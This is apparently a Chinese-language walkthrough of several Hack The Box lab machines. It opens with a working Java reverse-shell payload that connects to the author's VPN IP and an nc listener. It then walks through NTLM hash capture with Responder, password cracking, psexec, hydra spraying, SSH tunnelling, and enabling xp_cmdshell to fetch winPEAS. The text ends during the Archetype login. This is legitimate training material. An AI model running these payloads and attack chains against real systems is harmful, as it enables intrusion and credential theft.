Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

還有注意一下這邊的 host 要填，下 ip a 的那個 ip

┌─[tusoaring@htb-gkoyfeatio]─[~]
└──╼ $ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether a6:ba:3b:08:30:84 brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 209.151.153.201/22 brd 209.151.155.255 scope global dynamic ens3
       valid_lft 82702sec preferred_lft 82702sec
    inet6 fe80::a4ba:3bff:fe08:3084/64 scope link 
       valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.15.22/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1114/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::d13f:45c0:bde6:1c0/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

要填這個 10.10.15.22
所以最後 payload

String host="10.10.15.22";
int port=1337;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

開個 nc 聽

nc -lnvp 1337

GET FLAG!!

ls /root
flag.txt
snap
cat /root/flag.txt
9cdfb439c7876e703e307864c9167a15

Responder (Pwned!)

Nmap 起手++++

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.249.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 00:58 CDT
Nmap scan report for unika.htb (10.129.249.57)
Host is up (0.017s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: Unika
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.46 seconds

開了 port 5985 ，他是個處理 powershell 遠端的功能，但登入要帳密去看看其他的
先看看網頁服務，因為有 hosts 所以我們加到 /etc/hosts 解析

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-mcyhu7xtvf htb-mcyhu7xtvf.htb-cloud.com
10.129.249.57 unika.htb

觀察一下網頁，發現 http://unika.htb/index.php?page= 有 LFI 跟 RFI

這裡不 LFI->RCE 因為 filter 建不起來
居然是滲透，我們玩玩看其他的
用 responder 抓登入口令的 HASH 值
最後爆破用 evil-winrm 去登入看看

Responder

這邊要用 ip addr 的 tun0 抓 (在內網)

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.118/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1074/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::75ce:8c81:8c27:80cd/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

可以看到要用 10.10.14.118
先開始監聽

┌─[tusoaring@htb-mcyhu7xtvf]─[~]
└──╼ $sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [OFF]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.118]
    Responder IPv6             [dead:beef:2::1074]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-SA20U1ALR4U]
    Responder Domain Name      [6J4S.LOCAL]
    Responder DCE-RPC Port     [47487]

[+] Listening for events...

在網站有 RFI 的地方打上 \\{IP}/{anything}

按下 enter 後，hash 就反彈回來了
我們還可以順便知道 username 是 Administrator
接著我們用 john 嘗試破解 hash 破解密碼
先把剛剛錄到的 hash 存起來

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $cat crackme.txt 
Administrator::RESPONDER:11664cfb5bf8e620:8986474E950FCAC1E176EE5662C65038:01010000000000008096D986D1D0DA0148455363CDE03A720000000002000800580037005400440001001E00570049004E002D004600320048003500310053004800570036004400320004003400570049004E002D00460032004800350031005300480057003600440032002E0058003700540044002E004C004F00430041004C000300140058003700540044002E004C004F00430041004C000500140058003700540044002E004C004F00430041004C00070008008096D986D1D0DA0106000400020000000800300030000000000000000100000000200000BE59609986332FCCF305DB7549ED9FEEEDDE960B1BE3AE3EEF18FB50FC28681D0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100310038000000000000000000

好我們用 john 去破解

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2024-07-08 01:27) 33.33g/s 136533p/s 136533c/s 136533C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

可以看到密碼是 badminton
用 evil-winrn 登入

┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $evil-winrm -i 10.129.249.57 -u Administrator -p badminton
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

GET SHELL!
最後 flag 在 mike 的桌面~

*Evil-WinRM* PS C:\Users\mike\Desktop> cat flag.txt
ea81b7afddd03efaa0945333ed147fac

Tactics (Pwned!)

NMAP 起手囉

┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $nmap -sC -sV -Pn -T4 -p- 10.129.143.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 04:59 CDT
Nmap scan report for 10.129.143.166
Host is up (0.0088s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-08T10:03:28
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.16 seconds

有 smb 服務，用工具看看有什麼咚咚
猜到帳號是 Administrator

┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbclient -L 10.129.143.166 -U administrator
Password for [WORKGROUP\administrator]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.143.166 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

用 smbmap 看看我們有甚麼權限

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbmap -H 10.129.143.166 -u Administrator
[+] IP: 10.129.143.166:445	Name: 10.129.143.166                                    
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	READ, WRITE	Remote Admin
	C$                                                	READ, WRITE	Default share
	IPC$                                              	READ ONLY	Remote IPC

都可以進ㄟ，直接連進去看看 C$ 有甚麼

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbclient -U administrator \\\\10.129.143.166/C$
Password for [WORKGROUP\administrator]:
Try "help" to get a list of possible commands.
smb: \>

去看看 /User/Administrator/Desktop

有 FLAG ㄟ，直接 get 他拿到 flag!

有個另解，可以 GET SHELL

用 impacket 可以 get shell
用我們剛剛猜出來的 Username : Administrator

┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $impacket-psexec Administrator@10.129.143.166
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.143.166.....
[*] Found writable share ADMIN$
[*] Uploading file IQUuxrgv.exe
[*] Opening SVCManager on 10.129.143.166.....
[*] Creating service AdtA on 10.129.143.166.....
[*] Starting service AdtA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

GET SHELL!
最後再去一樣的地方拿 flag 就好~

Windows 指令對照表

ls : dir
cat : type
grep : findstr

Funnel (Pwned!)

Nmap 偵查

┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 08:02 CDT
Nmap scan report for 10.129.228.195
Host is up (0.0082s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.118
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds

有個 FTP ㄟ，一樣用 anonymous 連進去試試看

┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ftp 10.129.228.195
Connected to 10.129.228.195.
220 (vsFTPd 3.0.3)
Name (10.129.228.195:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43585|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
226 Directory send OK.
ftp> cd mail_backup
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||35204|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp         58899 Nov 28  2022 password_policy.pdf
-rw-r--r--    1 ftp      ftp           713 Nov 28  2022 welcome_28112022
226 Directory send OK.
ftp> get password_policy.pdf
local: password_policy.pdf remote: password_policy.pdf
229 Entering Extended Passive Mode (|||15526|)
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
100% |***********************************| 58899        3.38 MiB/s    00:00 ETA
226 Transfer complete.
58899 bytes received in 00:00 (2.24 MiB/s)
ftp> get welcome_28112022
local: welcome_28112022 remote: welcome_28112022
229 Entering Extended Passive Mode (|||36486|)
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
100% |***********************************|   713       12.14 MiB/s    00:00 ETA
226 Transfer complete.
713 bytes received in 00:00 (77.39 KiB/s)

把東西載下來看看

賺爛，給了帳號跟預設密碼，加上剛剛 nmap 掃到的 ssh ，我猜有人沒改預設密碼 funnel123#!#
用 Hydra 進行噴灑
先把使用者存起來

┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $hydra -L user.txt -p 'funnel123#!#' 10.129.228.195 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-09 08:09:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:5/p:1), ~1 try per task
[DATA] attacking ssh://10.129.228.195:22/
[22][ssh] host: 10.129.228.195   login: christine   password: funnel123#!#
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-09 08:10:02

找到了! 登入 christine 的 ssh

但翻了下，完全沒東西。
這邊卡了很久，偷看了一下 workthrough
這邊會用到一個叫 隧道 的技術，目的是在幫你連接更深層的主機，進行更進一步的滲透。

1. 本地端口轉發
使用本地端口转发，则在现有的有效SSH会话中创建一个单独的隧道，该隧道将网络流量从客户端机器的本地端口转发到远程服务器的端口。在底层，SSH在给定端口的客户机上分配一个套接字侦听器，当连接到该端口时，该连接将通过现有的SSH会话转发到远程服务器的端口 。

2. 遠程端口轉發
也称为反向隧道挖掘，它是与本地端口转发隧道完全相反。SSH连接成功，创建一个单独的隧道，SSH使用该隧道将到服务器端口的传入流量重定向回客户端 。
 在底层，SSH在给定端口的服务器上分配一个套接字侦听器。当连接到该端口时，该连接将通过现有的SSH会话转发到本地客户端的端口。
 
3. 動態端口轉發

与本地和远程都有转发，在隧道创建之前必须定义本地端口和远程端口。动态隧道允许用户指定一个将从客户端动态地将传入的流量转发到服务器的端口。因此，在内部发生的事情是，SSH变成了一个SOCKS5代理，通过SOCKET5代理服务器在客户端和服务器之间交换网络数据包。

Reference

這邊我們用本地，故我們連上 ssh 的任務是看看有甚麼奇怪的服務

Socket Statistics (ss)

可以獲得 socket 統計，和 netstat 很像
複習用法請到滲透測試工具
讓我們來看看有甚麼 tcp 連線

christine@funnel:~$ ss -tl
State   Recv-Q  Send-Q   Local Address:Port         Peer Address:Port  Process  
LISTEN  0       4096         127.0.0.1:36209             0.0.0.0:*              
LISTEN  0       4096     127.0.0.53%lo:domain            0.0.0.0:*              
LISTEN  0       128            0.0.0.0:ssh               0.0.0.0:*              
LISTEN  0       4096         127.0.0.1:postgresql        0.0.0.0:*              
LISTEN  0       32                   *:ftp                     *:*              
LISTEN  0       128               [::]:ssh                  [::]:*              
christine@funnel:~$ ss -tln
State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process  
LISTEN  0        4096           127.0.0.1:36209          0.0.0.0:*              
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*              
LISTEN  0        128              0.0.0.0:22             0.0.0.0:*              
LISTEN  0        4096           127.0.0.1:5432           0.0.0.0:*              
LISTEN  0        32                     *:21                   *:*              
LISTEN  0        128                 [::]:22                [::]:*

有個 postgresql ㄟ，嘗試用看看

christine@funnel:~$ psql

Command 'psql' not found, but can be installed with:

apt install postgresql-client-common
Please ask your administrator.

christine@funnel:~$ sudo apt install postgresql-client-common
[sudo] password for christine: 
christine is not in the sudoers file.  This incident will be reported.

阿我們都沒權限ㄟ，沒事，這時就要用到剛剛提到的隧道了

┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ssh -L 6969:localhost:5432 christine@10.129.228.195

可以表示成

┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ssh -L {本機對外開的IP隧道}:localhost:{靶機要給我們連的IP} christine@10.129.228.195

喔對這邊要靶機那邊打 5432 是因為剛剛在連 ssh 時看到 psql 是在本地聽 5432 port 的!
enter 後他要你輸入密碼，但一樣是那個預設密碼

開好隧道了! 我們嘗試用 psql 連

┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $psql -h localhost -p 6969 -U christine
Password for user christine: 
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
Type "help" for help.

christine=#

成功!
查查 psql 的指令
列出 dbs
\l

   Name    |   Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |    Access privileges    
-----------+-----------+----------+------------+------------+------------+-----------------+-------------------------
 christine | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 postgres  | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 secrets   | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 template0 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
           |           |          |            |            |            |                 | christine=CTc/christine
 template1 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
           |           |          |            |            |            |                 | christine=CTc/christine

看看 secrets
切換 db
\c {db's name}

christine=# \c secrets
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
You are now connected to database "secrets" as user "christine".
secrets=#

看看 tables
列出 tables
\z

secrets=# \z
                            Access privileges
 Schema | Name | Type  | Access privileges | Column privileges | Policies 
--------+------+-------+-------------------+-------------------+----------
 public | flag | table |                   |                   | 
(1 row)

把 flag 搜出來就好了!

secrets=# SELECT * FROM flag;
              value               
----------------------------------
 cf277664b1771217d7006acdea006db1
(1 row)

Archetype (Pwned!)

一樣 nmap 起手

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ nmap -sC -sV -Pn -p- -T4 10.129.156.40
Nmap scan report for 10.129.156.40
Host is up (0.0080s latency).
Not shown: 65306 closed tcp ports (reset), 218 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.156.40:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-10T14:43:14
|_Not valid after:  2054-07-10T14:43:14
|_ssl-date: 2024-07-10T14:51:42+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.156.40:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  unknown
49665/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-07-10T07:50:59-07:00
|_clock-skew: mean: 1h24m01s, deviation: 3h07m54s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-07-10T14:50:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 427.92 seconds

比較關鍵的服務是看到開了 smb、mssql、PS Remote
我們先來看看 smb
注意的是這邊不一定要 root 隨便 anonymous 都是可以的

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ smbmap -H 10.129.156.40 -u root
[+] Guest session   	IP: 10.129.156.40:445	Name: 10.129.156.40                                     
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	backups                                           	READ ONLY	
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC

分別進去看看 backups、IPC$

backups

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ smbclient \\\\10.129.156.40/backups
Password for [WORKGROUP\tusoaring]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 20 06:20:57 2020
  ..                                  D        0  Mon Jan 20 06:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 06:23:02 2020

看到一個 prod.dtsConfig 把他抓下來看看

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ cat prod.dtsConfig 
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

酷ㄟ，是有關 mssql 的資料，還有 username/password
嘗試用 mssqlclient.py 連線看看!
喔對這邊要加 -windows-auth 是因為我不是 administrator

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ mssqlclient.py sql_svc:M3g4c0rp123@10.129.156.40 -debug -windows-auth

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>

好ㄟ連進去了，嘗試執行指令

SQL> xp_cmdshell
[-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

他說我們沒有啟用...我們嘗試搜尋啟用看看

照著上面條就可以ㄌ

SQL> EXECUTE sp_configure 'show advanced options', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'show advanced options', 0;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;

SQL> xp_cmdshell whoami 
output                                                                             

--------------------------------------------------------------------------------   

archetype\sql_svc

成功執行!
你還可以在當前使用者目錄底下挖到 FLAG (user)

SQL> xp_cmdshell dir \Users\sql_svc\Desktop
output                                                                             

--------------------------------------------------------------------------------   

 Volume in drive C has no label.                                                   

 Volume Serial Number is 9565-0B4F                                                 

NULL                                                                               

 Directory of C:\Users\sql_svc\Desktop                                             

NULL                                                                               

01/20/2020  06:42 AM    <DIR>          .                                           

01/20/2020  06:42 AM    <DIR>          ..                                          

02/25/2020  07:37 AM                32 user.txt                                    

               1 File(s)             32 bytes                                      

               2 Dir(s)  10,721,931,264 bytes free                                 

NULL

接下來讓我們提權，可以用到有個工具叫 winPEAS
他可以自動分析，並跟你講你可以利用甚麼提權
但我們要怎麼載到靶機上?

我使用 reverse shell + 本地開一個 server -> 下載

先開 reverse shell 之前有提到怎麼開
但這次比較不一樣，我們要用 powershell 開

複製好之後，攻擊機先 nc 靶機輸入這串就可以彈回來ㄌ

成功 GET SHELL!
讓我們來運運 winPEAS
我先在本地下載好，寫個 python server

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
└──╼ [★]$ cat webser.py 
from flask import Flask, send_file

app = Flask(__name__)

@app.route('/download')
def download_shell():
    filename = 'win.exe'
    return send_file('./' + filename, as_attachment=True)

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0')

接著在 reverse shell 上輸入

PS C:\Users\sql_svc\Desktop> curl http://10.10.14.108:5000/download -o win.exe
PS C:\Users\sql_svc\Desktop> dir


    Directory: C:\Users\sql_svc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt                                                              
-a----        7/10/2024   9:30 AM        2387456 win.exe

好ㄟ然後執行他讓他跑一下
跑很多出來，我放重要的
我們可以看看，我們可以訪問的!

???????????? Found History Files
File: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\Users\sql_svc\Desktop> type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

哇免費管理員密碼
嘗試用 evil-winrm 登入

┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~]
└──╼ [★]$ evil-winrm -u Administrator -p 'MEGACORP_4dm1n!!' -i 10.129.156.40
                                        
Evil-WinRM shell v3.5
